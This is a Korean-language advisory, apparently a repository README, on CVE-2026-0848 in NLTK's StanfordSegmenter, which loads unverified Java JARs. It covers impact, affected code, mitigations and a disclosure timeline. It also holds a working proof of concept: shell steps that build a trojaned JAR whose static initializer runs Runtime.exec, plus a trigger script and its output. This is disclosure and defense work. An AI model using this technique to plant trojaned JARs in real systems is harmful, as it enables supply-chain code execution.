
nltk.tokenize.StanfordSegmenter는 검증이나 샌드박싱 없이 외부 Java .jar 파일을 동적으로 로드합니다. 공격자가 JAR 파일을 공급하거나 교체할 수 있다면(예: 악성 모델 다운로드, MITM 패키지 변조, 또는 의존성 오염), import 시점에 임의의 Java 바이트코드가 실행됩니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-0848 |
| 패키지 | nltk (Natural Language Toolkit) |
| 레지스트리 | PyPI |
| 영향받는 버전 | <= 3.9.2 |
| 취약점 유형 | CWE-20: 부적절한 입력 검증 |
| CVSS 점수 | 10.0 (Critical) |
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |
| 보고일 | 2025년 12월 6일 |
| CVE 공개일 | 2026년 3월 |
| 지원 | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter는 무결성 검증, 서명 확인 또는 샌드박싱을 수행하지 않은 채 subprocess를 통해 외부 Java .jar 파일을 동적으로 로드합니다. 이 클래스는 path_to_jar, path_to_model, path_to_dict, java_class를 포함한 공격자가 완전히 제어할 수 있는 매개변수를 허용하고 이를 java -cp 호출에 직접 전달합니다.
공격자가 오염된 모델 다운로드, 중간자 패키지 교체, 의존성 오염 또는 손상된 릴리스 미러를 통해 JAR 파일을 공급하거나 교체할 수 있다면, JVM의 정적 초기화 메커니즘을 통해 클래스 로드 시점에 임의의 Java 바이트코드가 실행됩니다. 이는 공급망 원격 코드 실행 취약점에 해당하며 Python 런타임을 완전히 이탈합니다.
| 파일 | 라인 | 설명 |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | 검증 없이 공격자가 제어하는 path_to_jar, path_to_model, path_to_dict, java_class를 허용함 |
nltk/internals.py | L220–L300 | 사용자가 제어하는 JAR 경로와 클래스패스로 Java 실행을 직접 시작하며, 샌드박싱 또는 체크섬 검증이 없음 |
nltk/internals.py | L109–L152 | subprocess.Popen()이 검증되지 않은 클래스패스 입력으로 Java를 실행하여 JVM이 임의의 바이트코드를 로드하고 정적 초기화를 실행할 수 있게 함 |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 지표 | 값 |
|---|---|
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |
성공적인 악용 시 공격자는 NLTK 분할(segmentation) 프로세스를 실행 중인 시스템에 대한 완전한 제어 권한을 얻습니다:
Runtime.getRuntime().exec() 또는 ProcessBuilder를 호출하여 임의의 셸 명령을 실행할 수 있습니다| 시나리오 | 영향 |
|---|---|
| ML 연구자가 인터넷에서 사전 훈련된 분할기를 로드함 | 원격 공격자가 코드 실행 권한을 얻음 |
| 조직이 손상된 중국어 분할 모델 ZIP을 다운로드함 | 악성코드가 프로덕션 NLP 파이프라인 내에서 실행됨 |
CI/CD 서버가 비-HTTPS 미러에서 wget/unzip으로 모델을 설치함 | 전체 환경 손상 |
| 의존성 탈취 또는 오염된 릴리스 미러 | 완전한 공급망 RCE |
이 취약점은 챗봇, LLM 전처리 파이프라인, 데이터셋 분할, 문서 분류 및 프로덕션 추론 서비스를 포함하여 StanfordSegmenter를 사용하는 모든 NLP 워크플로에 영향을 미칩니다.
이 정보는 교육 및 방어 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템을 대상으로 테스트하지 마십시오.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
출력:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
RCE 확인:
ls /tmp | grep pwned_hijack
# pwned_hijack
이 취약점은 다음 두 파일에 존재합니다:
stanford_segmenter.py — StanfordSegmenter 클래스 생성자는 path_to_jar, path_to_model, path_to_dict, java_class를 일반 문자열 인자로 받아들이고 다음 중 어느 것도 수행하지 않은 채 Java 실행 계층으로 직접 전달합니다:
java_class 매개변수 검증internals.py — java() 헬퍼는 사용자가 제공한 클래스패스로 subprocess.Popen() 호출을 구성하고 실행합니다. JVM은 제공된 JAR의 모든 클래스를 즉시 로드하며, 애플리케이션 로직이 실행되기 전에 모든 정적 초기화 블록을 실행합니다. 샌드박스도, 무결성 게이트도, 주입된 바이트코드의 실행을 방지하는 메커니즘도 없습니다.
이 취약점은 업스트림 NLTK 저장소에서 완전히 해결되었습니다.
| 리소스 | 링크 |
|---|---|
| 중앙 보안 수정 (모든 CVE) | https://github.com/nltk/nltk/pull/3522 |
| 연구자의 초기 수정 PR | https://github.com/nltk/nltk/pull/3477 (병합됨) |
PyPI에 패치된 NLTK 버전이 제공되는 대로 업그레이드하십시오.
| 조치 | 세부 정보 |
|---|---|
| NLTK 업그레이드 | PR #3522의 수정 사항이 포함된 3.9.2보다 높은 버전으로 업데이트 |
| 사용자 제어 JAR 경로 사용 금지 | 사용자 입력이 path_to_jar, path_to_model 또는 java_class 인자에 영향을 미치지 않도록 함 |
| JAR 무결성 검증 | 사용 전에 다운로드한 JAR 파일의 SHA-256 체크섬을 공식 게시된 해시와 항상 대조 검증 |
| HTTPS 소스만 사용 | 모델 파일과 JAR를 공식 HTTPS 소스에서만 다운로드하고 HTTP 또는 검증되지 않은 미러는 거부 |
| 최소 권한 | 최소한의 파일 시스템 및 네트워크 권한을 가진 제한된 OS 사용자로 NLTK 기반 서비스를 실행 |
| 컨테이너화 | JAR 기반 악용의 폭발 반경을 제한하기 위해 NLP 서비스를 Docker 컨테이너 또는 유사한 샌드박스로 격리 |
| 의존성 모니터링 | 소프트웨어 구성 분석 도구를 사용하여 CI/CD 파이프라인에서 변조되거나 교체된 JAR 의존성을 탐지 |
pip를 통한 업그레이드:
pip install --upgrade nltk
설치된 버전 확인:
python -c "import nltk; print(nltk.__version__)"
| 날짜 | 이벤트 |
|---|---|
| 2025년 12월 6일 | 연구자 hyperps1(Sarvesh Patil)이 huntr.dev에 취약점 보고 |
| 2025년 12월 | huntr.dev를 통해 NLTK 유지관리자 팀에 통보 |
| 2026년 1월 | NLTK 유지관리자가 취약점 검증, 공개 현상금 지급 |
| 2026년 1월 | CVE-2026-0848 지정 |
| 2026년 1월 | 연구자의 수정 PR #3477 제출 및 병합 |
| 2026년 2월 | NLTK 유지관리자에게 공개 전 48시간 사전 경고 전송 |
| 2026년 3월 | NVD 및 huntr.dev에 CVE 공개 |
| 2026년 3월 | PR #3522를 통해 모든 CVE에 대한 중앙 보안 수정 병합 |
| 리소스 | 링크 |
|---|---|
| NVD 항목 | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| 공식 CVE 기록 | https://cve.org/CVERecord?id=CVE-2026-0848 |
| huntr.dev 보고서 | https://huntr.dev |
| 중앙 수정 PR | https://github.com/nltk/nltk/pull/3522 |
| 연구자 수정 PR | https://github.com/nltk/nltk/pull/3477 |
| PyPI의 NLTK | https://pypi.org/project/nltk/ |
| Stanford 단어 분할기 | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — 임의 코드 실행 | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — 신뢰할 수 없는 검색 경로 | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: 부적절한 입력 검증 | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: 신뢰할 수 없는 데이터의 역직렬화 | https://cwe.mitre.org/data/definitions/502.html |
이 저장소는 CVE-2026-0848을 교육, 연구 및 방어적 보안 목적으로만 문서화합니다. 개념 증명 코드와 기술 세부 정보는 개발자, 보안 엔지니어 및 시스템 관리자가 이 취약점을 이해하고 평가하며 완화하는 데 도움을 주기 위해 제공됩니다.
명시적 승인 없이 이 정보를 사용하여 시스템에 접근하거나 손상시키는 행위는 불법이며 비윤리적입니다. 저자는 본 문서에 포함된 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
기여자: ketanHub